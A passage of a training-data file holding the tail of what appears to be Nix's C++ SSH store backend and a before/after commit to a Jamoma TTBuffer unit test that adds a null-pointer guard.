concurrent SSH connections\"};\n    const Setting<Path> sshKey{this, \"\", \"ssh-key\", \"path to an SSH private key\"};\n    const Setting<bool> compress{this, false, \"compress\", \"whether to compress the connection\"};\n    const Setting<Path> remoteProgram{this, \"nix-store\", \"remote-program\", \"path to the nix-store executable on the remote system\"};\n    const Setting<std::string> remoteStore{this, \"\", \"remote-store\", \"URI of the store on the remote system\"};\n\n    \/\/ Hack for getting remote build log output.\n    const Setting<int> logFD{this, -1, \"log-fd\", \"file descriptor to which SSH's stderr is connected\"};\n\n    struct Connection\n    {\n        std::unique_ptr<SSHMaster::Connection> sshConn;\n        FdSink to;\n        FdSource from;\n        int remoteVersion;\n        bool good = true;\n    };\n\n    std::string host;\n\n    ref<Pool<Connection>> connections;\n\n    SSHMaster master;\n\n    LegacySSHStore(const string & host, const Params & params)\n        : Store(params)\n        , host(host)\n        , connections(make_ref<Pool<Connection>>(\n            std::max(1, (int) maxConnections),\n            [this]() { return openConnection(); },\n            [](const ref<Connection> & r) { return r->good; }\n            ))\n        , master(\n            host,\n            sshKey,\n            \/\/ Use SSH master only if using more than 1 connection.\n            connections->capacity() > 1,\n            compress,\n            logFD)\n    {\n    }\n\n    ref<Connection> openConnection()\n    {\n        auto conn = make_ref<Connection>();\n        conn->sshConn = master.startCommand(\n            fmt(\"%s --serve --write\", remoteProgram)\n            + (remoteStore.get() == \"\" ? \"\" : \" --store \" + shellEscape(remoteStore.get())));\n        conn->to = FdSink(conn->sshConn->in.get());\n        conn->from = FdSource(conn->sshConn->out.get());\n\n        try {\n            conn->to << SERVE_MAGIC_1 << SERVE_PROTOCOL_VERSION;\n            conn->to.flush();\n\n            unsigned int magic = readInt(conn->from);\n            if (magic != SERVE_MAGIC_2)\n                throw Error(\"protocol mismatch with 'nix-store --serve' on '%s'\", host);\n            conn->remoteVersion = readInt(conn->from);\n            if (GET_PROTOCOL_MAJOR(conn->remoteVersion) != 0x200)\n                throw Error(\"unsupported 'nix-store --serve' protocol version on '%s'\", host);\n\n        } catch (EndOfFile & e) {\n            throw Error(\"cannot connect to '%1%'\", host);\n        }\n\n        return conn;\n    };\n\n    string getUri() override\n    {\n        return uriScheme + host;\n    }\n\n    void queryPathInfoUncached(const StorePath & path,\n        Callback<std::shared_ptr<const ValidPathInfo>> callback) noexcept override\n    {\n        try {\n            auto conn(connections->get());\n\n            debug(\"querying remote host '%s' for info on '%s'\", host, printStorePath(path));\n\n            conn->to << cmdQueryPathInfos << PathSet{printStorePath(path)};\n            conn->to.flush();\n\n            auto p = readString(conn->from);\n            if (p.empty()) return callback(nullptr);\n            auto info = std::make_shared<ValidPathInfo>(parseStorePath(p));\n            assert(path == info->path);\n\n            PathSet references;\n            auto deriver = readString(conn->from);\n            if (deriver != \"\")\n                info->deriver = parseStorePath(deriver);\n            info->references = readStorePaths<StorePathSet>(*this, conn->from);\n            readLongLong(conn->from); \/\/ download size\n            info->narSize = readLongLong(conn->from);\n\n            if (GET_PROTOCOL_MINOR(conn->remoteVersion) >= 4) {\n                auto s = readString(conn->from);\n                info->narHash = s.empty() ? std::optional<Hash>{} : Hash::parseAnyPrefixed(s);\n                info->ca = parseContentAddressOpt(readString(conn->from));\n                info->sigs = readStrings<StringSet>(conn->from);\n            }\n\n            auto s = readString(conn->from);\n            assert(s == \"\");\n\n            callback(std::move(info));\n        } catch (...) { callback.rethrow(); }\n    }\n\n    void addToStore(const ValidPathInfo & info, Source & source,\n        RepairFlag repair, CheckSigsFlag checkSigs) override\n    {\n        debug(\"adding path '%s' to remote host '%s'\", printStorePath(info.path), host);\n\n        auto conn(connections->get());\n\n        if (GET_PROTOCOL_MINOR(conn->remoteVersion) >= 5) {\n\n            conn->to\n                << cmdAddToStoreNar\n                << printStorePath(info.path)\n                << (info.deriver ? printStorePath(*info.deriver) : \"\")\n                << info.narHash->to_string(Base16, false);\n            writeStorePaths(*this, conn->to, info.references);\n            conn->to\n                << info.registrationTime\n                << info.narSize\n                << info.ultimate\n                << info.sigs\n                << renderContentAddress(info.ca);\n            try {\n                copyNAR(source, conn->to);\n            } catch (...) {\n                conn->good = false;\n                throw;\n            }\n            conn->to.flush();\n\n        } else {\n\n            conn->to\n                << cmdImportPaths\n                << 1;\n            try {\n                copyNAR(source, conn->to);\n            } catch (...) {\n                conn->good = false;\n                throw;\n            }\n            conn->to\n                << exportMagic\n                << printStorePath(info.path);\n            writeStorePaths(*this, conn->to, info.references);\n            conn->to\n                << (info.deriver ? printStorePath(*info.deriver) : \"\")\n                << 0\n                << 0;\n            conn->to.flush();\n\n        }\n\n        if (readInt(conn->from) != 1)\n            throw Error(\"failed to add path '%s' to remote host '%s'\", printStorePath(info.path), host);\n    }\n\n    void narFromPath(const StorePath & path, Sink & sink) override\n    {\n        auto conn(connections->get());\n\n        conn->to << cmdDumpStorePath << printStorePath(path);\n        conn->to.flush();\n        copyNAR(conn->from, sink);\n    }\n\n    std::optional<StorePath> queryPathFromHashPart(const std::string & hashPart) override\n    { unsupported(\"queryPathFromHashPart\"); }\n\n    StorePath addToStore(const string & name, const Path & srcPath,\n        FileIngestionMethod method, HashType hashAlgo,\n        PathFilter & filter, RepairFlag repair) override\n    { unsupported(\"addToStore\"); }\n\n    StorePath addTextToStore(const string & name, const string & s,\n        const StorePathSet & references, RepairFlag repair) override\n    { unsupported(\"addTextToStore\"); }\n\nprivate:\n\n    void putBuildSettings(Connection & conn)\n    {\n        conn.to\n            << settings.maxSilentTime\n            << settings.buildTimeout;\n        if (GET_PROTOCOL_MINOR(conn.remoteVersion) >= 2)\n            conn.to\n                << settings.maxLogSize;\n        if (GET_PROTOCOL_MINOR(conn.remoteVersion) >= 3)\n            conn.to\n                << settings.buildRepeat\n                << settings.enforceDeterminism;\n    }\n\npublic:\n\n    BuildResult buildDerivation(const StorePath & drvPath, const BasicDerivation & drv,\n        BuildMode buildMode) override\n    {\n        auto conn(connections->get());\n\n        conn->to\n            << cmdBuildDerivation\n            << printStorePath(drvPath);\n        writeDerivation(conn->to, *this, drv);\n\n        putBuildSettings(*conn);\n\n        conn->to.flush();\n\n        BuildResult status;\n        status.status = (BuildResult::Status) readInt(conn->from);\n        conn->from >> status.errorMsg;\n\n        if (GET_PROTOCOL_MINOR(conn->remoteVersion) >= 3)\n            conn->from >> status.timesBuilt >> status.isNonDeterministic >> status.startTime >> status.stopTime;\n\n        return status;\n    }\n\n    void buildPaths(const std::vector<StorePathWithOutputs> & drvPaths, BuildMode buildMode) override\n    {\n        auto conn(connections->get());\n\n        conn->to << cmdBuildPaths;\n        Strings ss;\n        for (auto & p : drvPaths)\n            ss.push_back(p.to_string(*this));\n        conn->to << ss;\n\n        putBuildSettings(*conn);\n\n        conn->to.flush();\n\n        BuildResult result;\n        result.status = (BuildResult::Status) readInt(conn->from);\n\n        if (!result.success()) {\n            conn->from >> result.errorMsg;\n            throw Error(result.status, result.errorMsg);\n        }\n    }\n\n    void ensurePath(const StorePath & path) override\n    { unsupported(\"ensurePath\"); }\n\n    void computeFSClosure(const StorePathSet & paths,\n        StorePathSet & out, bool flipDirection = false,\n        bool includeOutputs = false, bool includeDerivers = false) override\n    {\n        if (flipDirection || includeDerivers) {\n            Store::computeFSClosure(paths, out, flipDirection, includeOutputs, includeDerivers);\n            return;\n        }\n\n        auto conn(connections->get());\n\n        conn->to\n            << cmdQueryClosure\n            << includeOutputs;\n        writeStorePaths(*this, conn->to, paths);\n        conn->to.flush();\n\n        for (auto & i : readStorePaths<StorePathSet>(*this, conn->from))\n            out.insert(i);\n    }\n\n    StorePathSet queryValidPaths(const StorePathSet & paths,\n        SubstituteFlag maybeSubstitute = NoSubstitute) override\n    {\n        auto conn(connections->get());\n\n        conn->to\n            << cmdQueryValidPaths\n            << false \/\/ lock\n            << maybeSubstitute;\n        writeStorePaths(*this, conn->to, paths);\n        conn->to.flush();\n\n        return readStorePaths<StorePathSet>(*this, conn->from);\n    }\n\n    void connect() override\n    {\n        auto conn(connections->get());\n    }\n\n    unsigned int getProtocol() override\n    {\n        auto conn(connections->get());\n        return conn->remoteVersion;\n    }\n};\n\nstatic RegisterStoreImplementation regStore([](\n    const std::string & uri, const Store::Params & params)\n    -> std::shared_ptr<Store>\n{\n    if (std::string(uri, 0, uriScheme.size()) != uriScheme) return 0;\n    return std::make_shared<LegacySSHStore>(std::string(uri, uriScheme.size()), params);\n});\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* \n * Unit tests for the TTBuffer Object for Jamoma DSP\n * Copyright © 2012, Nathan Wolek\n * \n * License: This code is licensed under the terms of the \"New BSD License\"\n * http:\/\/creativecommons.org\/licenses\/BSD\/\n *\/\n\n#include \"TTBuffer.h\"\n\n\nTTErr TTBuffer::test(TTValue& returnedTestInfo)\n{\n\tint\t\t\t\t\terrorCount = 0;\n\tint\t\t\t\t\ttestAssertionCount = 0;\n\t\/\/int\t\t\t\t\tbadSampleCount = 0;\n\t\n\t\/\/ *** Tim's old list (we'll get there) ***\n\t\/\/ TODO: test filling with sine wave\n\t\/\/ TODO: test scaling (applying gain)\n\t\/\/ TODO: test normalizing (with optional arg, and also without an optional arg)\n\t\n    this->init(1,\"myFirstBuffer\");\n\tthis->setAttributeValue(\"lengthInSamples\", 50);\n\n\tTTTestLog(\"\\nTest checkout of first SampleMatrix...\");\n\t\n\t\/\/ TEST 1: checking out a matrix returns something\n\tTTSampleMatrixPtr myFirstCheckOut = NULL;\n\tthis->checkOutMatrix(myFirstCheckOut);\n\t\n\tTTBoolean result1 = { myFirstCheckOut != NULL };\n\t\n\tTTTestAssertion(\"checkOutMatrix returns a valid pointer\", \n\t\t\t\t\tresult1,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\n\t\/\/ TEST 2: how many channels does this matrix have?\n\tTTInt32 test2expect = 1;\n\t\n\tTTInt32 test2return = 0;\n\tmyFirstCheckOut->getAttributeValue(\"numChannels\", test2return);\n\t\n\tTTBoolean result2 = { test2expect == test2return };\n\t\n\tTTTestAssertion(\"numChannels is set properly\", \n\t\t\t\t\tresult2,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\n\tif(!result2)\n\t{\n\t\tTTTestLog(\"Expected a value of %i, but returned value was %i\", test2expect, test2return);\t\n\t}\n\t\n\t\/\/ TEST 3: what is the user count?\n\tTTInt32 test3expect = 1;\n\t\n\tTTInt32 test3return = 0;\n\tmyFirstCheckOut->getAttributeValue(\"userCount\", test3return);\n\t\n\tTTBoolean result3 = { test2expect == test3return };\n\t\n\tTTTestAssertion(\"userCount reports proper value\", \n\t\t\t\t\tresult3,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\n\tif(!result3)\n\t{\n\t\tTTTestLog(\"Expected a value of %i, but returned value was %i\", test3expect, test3return);\t\n\t}\n\t\n\t\/\/ TEST 4: what is the buffer stage?\n\tTTBoolean test4expect = true;\n\t\n\tTTBoolean test4return = false;\n\ttest4return = myFirstCheckOut->isBufferPoolStage(kSM_Active);\n\t\n\tTTBoolean result4 = { test4expect == test4return };\n\t\n\tTTTestAssertion(\"bufferPoolStage reports proper value\", \n\t\t\t\t\tresult4,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\n\tif(!result4)\n\t{\n\t\tTTTestLog(\"Expected a value of %i, but returned value was %i\", test4expect, test4return);\t\n\t}\n\t\n\tTTTestLog(\"\\nTest second checkout of first SampleMatrix...\");\n\t\n\t\/\/ TEST 5: checking out a matrix returns something\n\tTTSampleMatrixPtr myFirstCheckOut2 = NULL;\n\tthis->checkOutMatrix(myFirstCheckOut2);\n\t\n\tTTBoolean result5 = { myFirstCheckOut == myFirstCheckOut2 };\n\t\n\tTTTestAssertion(\"checkOutMatrix returns the same pointer\", \n\t\t\t\t\tresult5,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n    \n    \/\/ TEST 6: what is the user count after 2 checkouts?\n\tTTInt32 test6expect = 2;\n\t\n\tTTInt32 test6return = 0;\n\tmyFirstCheckOut->getAttributeValue(\"userCount\", test6return);\n\t\n\tTTBoolean result6 = { test6expect == test6return };\n\t\n\tTTTestAssertion(\"userCount reports proper value after second checkout\",\n\t\t\t\t\tresult6,\n\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\terrorCount);\n\t\n\tif(!result6)\n\t{\n\t\tTTTestLog(\"Expected a value of %i, but returned value was %i\", test6expect, test6return);\n\t}\n\t\n\tTTTestLog(\"\\nTest if changing lengthInSamples attribute spawns new SampleMatrix...\");\n\t\n\t\/\/ TEST 7: changing length at TTBuffer should spawn a new matrix\n\tTTSampleMatrixPtr mySecondCheckOut = NULL;\n\tthis->setAttributeValue(\"lengthInSamples\", 100);\n\tthis->checkOutMatrix(mySecondCheckOut);\n\t\n\tTTBoolean result7 = { mySecondCheckOut != myFirstCheckOut };\n\t\n\tTTTestAssertion(\"checkOutMatrix returns pointer to different SampleMatrix\", \n\t\t\t\t\tresult7,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\t\t\t\t\n\t\/\/ TEST 8: what is the user count on new checkout?\n\tTTInt32 test8expect = 1;\n\t\n\tTTInt32 test8return = 0;\n\tmySecondCheckOut->getAttributeValue(\"userCount\", test8return);\n\t\n\tTTBoolean result8 = { test8expect == test8return };\n\t\n\tTTTestAssertion(\"userCount reports proper value\",\n\t\t\t\t\tresult8,\n\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\terrorCount);\n\t\n\tif(!result8)\n\t{\n\t\tTTTestLog(\"Expected a value of %i, but returned value was %i\", test8expect, test8return);\n\t}\n\t\n\tTTTestLog(\"\\nRepeat with numChannels attribute...\");\n\t\n\t\/\/ TEST 9: changing numChannels at TTBuffer should spawn a new matrix\n\tTTSampleMatrixPtr myThirdCheckOut = NULL;\n\tthis->setAttributeValue(\"numChannels\", 2);\n\tthis->checkOutMatrix(myThirdCheckOut);\n\t\n\tTTBoolean result9 = { mySecondCheckOut != myThirdCheckOut && myFirstCheckOut != myThirdCheckOut};\n\t\n\tTTTestAssertion(\"checkOutMatrix returns pointer to different SampleMatrix\", \n\t\t\t\t\tresult9,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\t\t\t\t\n\t\/\/ TEST 10: what is the user count on new checkout?\n\tTTInt32 test10expect = 1;\n\t\n\tTTInt32 test10return = 0;\n\tmyThirdCheckOut->getAttributeValue(\"userCount\", test10return);\n\t\n\tTTBoolean result10 = { test10expect == test10return };\n\t\n\tTTTestAssertion(\"userCount reports proper value\",\n\t\t\t\t\tresult10,\n\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\terrorCount);\n\t\n\tif(!result10)\n\t{\n\t\tTTTestLog(\"Expected a value of %i, but returned value was %i\", test10expect, test10return);\n\t}\n\t\n\t\n\t\/******\/\n\tTTTestLog(\"\\nAt this point, 3 SampleMatrix objects are checked out via 4 pointers:\");\n\tTTTestLog(\"myFirstCheckOut: userCount %i, Active %i, Becoming Idle %i\", myFirstCheckOut->getUserCount(), myFirstCheckOut->isBufferPoolStage(kSM_Active), myFirstCheckOut->isBufferPoolStage(kSM_BecomingIdle));\n\tTTTestLog(\"myFirstCheckOut2: userCount %i, Active %i, Becoming Idle %i\", myFirstCheckOut2->getUserCount(), myFirstCheckOut2->isBufferPoolStage(kSM_Active), myFirstCheckOut2->isBufferPoolStage(kSM_BecomingIdle));\n\tTTTestLog(\"mySecondCheckOut: userCount %i, Active %i, Becoming Idle %i\", mySecondCheckOut->getUserCount(), mySecondCheckOut->isBufferPoolStage(kSM_Active), mySecondCheckOut->isBufferPoolStage(kSM_BecomingIdle));\n\tTTTestLog(\"myThirdCheckOut: userCount %i, Active %i, Becoming Idle %i\", myThirdCheckOut->getUserCount(), myThirdCheckOut->isBufferPoolStage(kSM_Active), myThirdCheckOut->isBufferPoolStage(kSM_BecomingIdle));\n\t\/******\/\n\t\n\t\n\tTTTestLog(\"\\nTesting check in process...\");\n\t\n\t\/\/ TEST 11: checking out a matrix returns NULL pointer\n\tthis->checkInMatrix(myFirstCheckOut);\n\n\tTTBoolean result11 = { myFirstCheckOut == NULL };\n\t\n\tTTTestAssertion(\"checkInMatrix(myFirstCheckOut) resets pointer to NULL\", \n\t\t\t\t\tresult11,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\t\t\t\t\n\t\/\/ TEST 12: second pointer to first matrix is still valid\n\tTTBoolean result12 = { myFirstCheckOut2 != NULL };\n\t\n\tTTTestAssertion(\"myFirstCheckOut2 is still a valid pointer\", \n\t\t\t\t\tresult12,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\n\t\/\/ TEST 13: poke\/peek a sample into first matrix\n\tTTSampleValue test13expect = TTRandom64();\n\tmyFirstCheckOut2->poke(10,0,test13expect);\n\t\t\t\t\t\n\tTTSampleValue test13return;\n\tmyFirstCheckOut2->peek(10,0,test13return);\n\t\n\tTTBoolean result13 = TTTestFloatEquivalence(test13expect,test13return);\n\t\n\tTTTestAssertion(\"poke\/peek sample value still works\",\n\t\t\t\t\tresult13,\n\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\terrorCount);\n\n\tif(!result13)\n\t{\n\t\tTTTestLog(\"Expected a value of %i, but returned value was %i\", test13expect, test13return);\n\t}\n\t\n\t\/\/ TEST 14: checking out a matrix returns NULL pointer\n\tthis->checkInMatrix(myFirstCheckOut2);\n\n\tTTBoolean result14 = { myFirstCheckOut2 == NULL };\n\t\n\tTTTestAssertion(\"checkInMatrix(myFirstCheckOut2) resets pointer to NULL\", \n\t\t\t\t\tresult14,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\n\t\/\/ TEST 15: checking out a matrix returns NULL pointer\n\tthis->checkInMatrix(mySecondCheckOut);\n\n\tTTBoolean result15 = { mySecondCheckOut == NULL };\n\t\n\tTTTestAssertion(\"checkInMatrix(mySecondCheckOut) resets pointer to NULL\", \n\t\t\t\t\tresult15,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\t\t\t\t\n\t\/\/ TEST 16: checking out a matrix returns NULL pointer\n\tthis->checkInMatrix(myThirdCheckOut);\n\n\tTTBoolean result16 = { myThirdCheckOut == NULL };\n\t\n\tTTTestAssertion(\"checkInMatrix(myThirdCheckOut) resets pointer to NULL\", \n\t\t\t\t\tresult16,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\n\t\/\/ The following is effectively taken care of through check in...\n\t\/\/TTObjectRelease(&myFirstCheckOut);\n\t\/\/TTObjectRelease(&mySecondCheckOut);\n\t\/\/TTObjectRelease(&myThirdCheckOut);\n\t\n\t\/\/ Wrap up the test results to pass back to whoever called this test\n\treturn TTTestFinish(testAssertionCount, errorCount, returnedTestInfo);\n\t\n\n}\n\n<commit_msg>TTBuffer: unit test fix for problem (caught using static analysis in clang) where the test could crash if object instantiation failed.<commit_after>\/* \n * Unit tests for the TTBuffer Object for Jamoma DSP\n * Copyright © 2012, Nathan Wolek\n * \n * License: This code is licensed under the terms of the \"New BSD License\"\n * http:\/\/creativecommons.org\/licenses\/BSD\/\n *\/\n\n#include \"TTBuffer.h\"\n\n\nTTErr TTBuffer::test(TTValue& returnedTestInfo)\n{\n\tint\t\t\t\t\terrorCount = 0;\n\tint\t\t\t\t\ttestAssertionCount = 0;\n\t\/\/int\t\t\t\t\tbadSampleCount = 0;\n\t\n\t\/\/ *** Tim's old list (we'll get there) ***\n\t\/\/ TODO: test filling with sine wave\n\t\/\/ TODO: test scaling (applying gain)\n\t\/\/ TODO: test normalizing (with optional arg, and also without an optional arg)\n\t\n    this->init(1,\"myFirstBuffer\");\n\tthis->setAttributeValue(\"lengthInSamples\", 50);\n\n\tTTTestLog(\"\\nTest checkout of first SampleMatrix...\");\n\t\n\t\/\/ TEST 1: checking out a matrix returns something\n\tTTSampleMatrixPtr myFirstCheckOut = NULL;\n\tthis->checkOutMatrix(myFirstCheckOut);\n\t\n\tTTBoolean result1 = { myFirstCheckOut != NULL };\n\t\n\tTTTestAssertion(\"checkOutMatrix returns a valid pointer\", \n\t\t\t\t\tresult1,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\n\t\/\/ if it failed then we need to abort further testing to avoid a crash dereferencing a bogus pointer\n\tif (!myFirstCheckOut)\n\t\treturn TTTestFinish(testAssertionCount, errorCount, returnedTestInfo);\n\t\n\t\/\/ TEST 2: how many channels does this matrix have?\n\tTTInt32 test2expect = 1;\n\t\n\tTTInt32 test2return = 0;\n\tmyFirstCheckOut->getAttributeValue(\"numChannels\", test2return);\n\t\n\tTTBoolean result2 = { test2expect == test2return };\n\t\n\tTTTestAssertion(\"numChannels is set properly\", \n\t\t\t\t\tresult2,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\n\tif(!result2)\n\t{\n\t\tTTTestLog(\"Expected a value of %i, but returned value was %i\", test2expect, test2return);\t\n\t}\n\t\n\t\/\/ TEST 3: what is the user count?\n\tTTInt32 test3expect = 1;\n\t\n\tTTInt32 test3return = 0;\n\tmyFirstCheckOut->getAttributeValue(\"userCount\", test3return);\n\t\n\tTTBoolean result3 = { test2expect == test3return };\n\t\n\tTTTestAssertion(\"userCount reports proper value\", \n\t\t\t\t\tresult3,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\n\tif(!result3)\n\t{\n\t\tTTTestLog(\"Expected a value of %i, but returned value was %i\", test3expect, test3return);\t\n\t}\n\t\n\t\/\/ TEST 4: what is the buffer stage?\n\tTTBoolean test4expect = true;\n\t\n\tTTBoolean test4return = false;\n\ttest4return = myFirstCheckOut->isBufferPoolStage(kSM_Active);\n\t\n\tTTBoolean result4 = { test4expect == test4return };\n\t\n\tTTTestAssertion(\"bufferPoolStage reports proper value\", \n\t\t\t\t\tresult4,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\n\tif(!result4)\n\t{\n\t\tTTTestLog(\"Expected a value of %i, but returned value was %i\", test4expect, test4return);\t\n\t}\n\t\n\tTTTestLog(\"\\nTest second checkout of first SampleMatrix...\");\n\t\n\t\/\/ TEST 5: checking out a matrix returns something\n\tTTSampleMatrixPtr myFirstCheckOut2 = NULL;\n\tthis->checkOutMatrix(myFirstCheckOut2);\n\t\n\tTTBoolean result5 = { myFirstCheckOut == myFirstCheckOut2 };\n\t\n\tTTTestAssertion(\"checkOutMatrix returns the same pointer\", \n\t\t\t\t\tresult5,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n    \n    \/\/ TEST 6: what is the user count after 2 checkouts?\n\tTTInt32 test6expect = 2;\n\t\n\tTTInt32 test6return = 0;\n\tmyFirstCheckOut->getAttributeValue(\"userCount\", test6return);\n\t\n\tTTBoolean result6 = { test6expect == test6return };\n\t\n\tTTTestAssertion(\"userCount reports proper value after second checkout\",\n\t\t\t\t\tresult6,\n\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\terrorCount);\n\t\n\tif(!result6)\n\t{\n\t\tTTTestLog(\"Expected a value of %i, but returned value was %i\", test6expect, test6return);\n\t}\n\t\n\tTTTestLog(\"\\nTest if changing lengthInSamples attribute spawns new SampleMatrix...\");\n\t\n\t\/\/ TEST 7: changing length at TTBuffer should spawn a new matrix\n\tTTSampleMatrixPtr mySecondCheckOut = NULL;\n\tthis->setAttributeValue(\"lengthInSamples\", 100);\n\tthis->checkOutMatrix(mySecondCheckOut);\n\t\n\tTTBoolean result7 = { mySecondCheckOut != myFirstCheckOut };\n\t\n\tTTTestAssertion(\"checkOutMatrix returns pointer to different SampleMatrix\", \n\t\t\t\t\tresult7,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\t\t\t\t\n\t\/\/ TEST 8: what is the user count on new checkout?\n\tTTInt32 test8expect = 1;\n\t\n\tTTInt32 test8return = 0;\n\tmySecondCheckOut->getAttributeValue(\"userCount\", test8return);\n\t\n\tTTBoolean result8 = { test8expect == test8return };\n\t\n\tTTTestAssertion(\"userCount reports proper value\",\n\t\t\t\t\tresult8,\n\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\terrorCount);\n\t\n\tif(!result8)\n\t{\n\t\tTTTestLog(\"Expected a value of %i, but returned value was %i\", test8expect, test8return);\n\t}\n\t\n\tTTTestLog(\"\\nRepeat with numChannels attribute...\");\n\t\n\t\/\/ TEST 9: changing numChannels at TTBuffer should spawn a new matrix\n\tTTSampleMatrixPtr myThirdCheckOut = NULL;\n\tthis->setAttributeValue(\"numChannels\", 2);\n\tthis->checkOutMatrix(myThirdCheckOut);\n\t\n\tTTBoolean result9 = { mySecondCheckOut != myThirdCheckOut && myFirstCheckOut != myThirdCheckOut};\n\t\n\tTTTestAssertion(\"checkOutMatrix returns pointer to different SampleMatrix\", \n\t\t\t\t\tresult9,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\t\t\t\t\n\t\/\/ TEST 10: what is the user count on new checkout?\n\tTTInt32 test10expect = 1;\n\t\n\tTTInt32 test10return = 0;\n\tmyThirdCheckOut->getAttributeValue(\"userCount\", test10return);\n\t\n\tTTBoolean result10 = { test10expect == test10return };\n\t\n\tTTTestAssertion(\"userCount reports proper value\",\n\t\t\t\t\tresult10,\n\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\terrorCount);\n\t\n\tif(!result10)\n\t{\n\t\tTTTestLog(\"Expected a value of %i, but returned value was %i\", test10expect, test10return);\n\t}\n\t\n\t\n\t\/******\/\n\tTTTestLog(\"\\nAt this point, 3 SampleMatrix objects are checked out via 4 pointers:\");\n\tTTTestLog(\"myFirstCheckOut: userCount %i, Active %i, Becoming Idle %i\", myFirstCheckOut->getUserCount(), myFirstCheckOut->isBufferPoolStage(kSM_Active), myFirstCheckOut->isBufferPoolStage(kSM_BecomingIdle));\n\tTTTestLog(\"myFirstCheckOut2: userCount %i, Active %i, Becoming Idle %i\", myFirstCheckOut2->getUserCount(), myFirstCheckOut2->isBufferPoolStage(kSM_Active), myFirstCheckOut2->isBufferPoolStage(kSM_BecomingIdle));\n\tTTTestLog(\"mySecondCheckOut: userCount %i, Active %i, Becoming Idle %i\", mySecondCheckOut->getUserCount(), mySecondCheckOut->isBufferPoolStage(kSM_Active), mySecondCheckOut->isBufferPoolStage(kSM_BecomingIdle));\n\tTTTestLog(\"myThirdCheckOut: userCount %i, Active %i, Becoming Idle %i\", myThirdCheckOut->getUserCount(), myThirdCheckOut->isBufferPoolStage(kSM_Active), myThirdCheckOut->isBufferPoolStage(kSM_BecomingIdle));\n\t\/******\/\n\t\n\t\n\tTTTestLog(\"\\nTesting check in process...\");\n\t\n\t\/\/ TEST 11: checking out a matrix returns NULL pointer\n\tthis->checkInMatrix(myFirstCheckOut);\n\n\tTTBoolean result11 = { myFirstCheckOut == NULL };\n\t\n\tTTTestAssertion(\"checkInMatrix(myFirstCheckOut) resets pointer to NULL\", \n\t\t\t\t\tresult11,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\t\t\t\t\n\t\/\/ TEST 12: second pointer to first matrix is still valid\n\tTTBoolean result12 = { myFirstCheckOut2 != NULL };\n\t\n\tTTTestAssertion(\"myFirstCheckOut2 is still a valid pointer\", \n\t\t\t\t\tresult12,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\n\t\/\/ TEST 13: poke\/peek a sample into first matrix\n\tTTSampleValue test13expect = TTRandom64();\n\tmyFirstCheckOut2->poke(10,0,test13expect);\n\t\t\t\t\t\n\tTTSampleValue test13return;\n\tmyFirstCheckOut2->peek(10,0,test13return);\n\t\n\tTTBoolean result13 = TTTestFloatEquivalence(test13expect,test13return);\n\t\n\tTTTestAssertion(\"poke\/peek sample value still works\",\n\t\t\t\t\tresult13,\n\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\terrorCount);\n\n\tif(!result13)\n\t{\n\t\tTTTestLog(\"Expected a value of %i, but returned value was %i\", test13expect, test13return);\n\t}\n\t\n\t\/\/ TEST 14: checking out a matrix returns NULL pointer\n\tthis->checkInMatrix(myFirstCheckOut2);\n\n\tTTBoolean result14 = { myFirstCheckOut2 == NULL };\n\t\n\tTTTestAssertion(\"checkInMatrix(myFirstCheckOut2) resets pointer to NULL\", \n\t\t\t\t\tresult14,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\n\t\/\/ TEST 15: checking out a matrix returns NULL pointer\n\tthis->checkInMatrix(mySecondCheckOut);\n\n\tTTBoolean result15 = { mySecondCheckOut == NULL };\n\t\n\tTTTestAssertion(\"checkInMatrix(mySecondCheckOut) resets pointer to NULL\", \n\t\t\t\t\tresult15,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\t\t\t\t\t\n\t\/\/ TEST 16: checking out a matrix returns NULL pointer\n\tthis->checkInMatrix(myThirdCheckOut);\n\n\tTTBoolean result16 = { myThirdCheckOut == NULL };\n\t\n\tTTTestAssertion(\"checkInMatrix(myThirdCheckOut) resets pointer to NULL\", \n\t\t\t\t\tresult16,\n\t\t\t\t\ttestAssertionCount, \n\t\t\t\t\terrorCount);\n\n\t\/\/ The following is effectively taken care of through check in...\n\t\/\/TTObjectRelease(&myFirstCheckOut);\n\t\/\/TTObjectRelease(&mySecondCheckOut);\n\t\/\/TTObjectRelease(&myThirdCheckOut);\n\n\t\/\/ Wrap up the test results to pass back to whoever called this test\n\treturn TTTestFinish(testAssertionCount, errorCount, returnedTestInfo);\n\t\n\n}\n\n<|endoftext|>"}
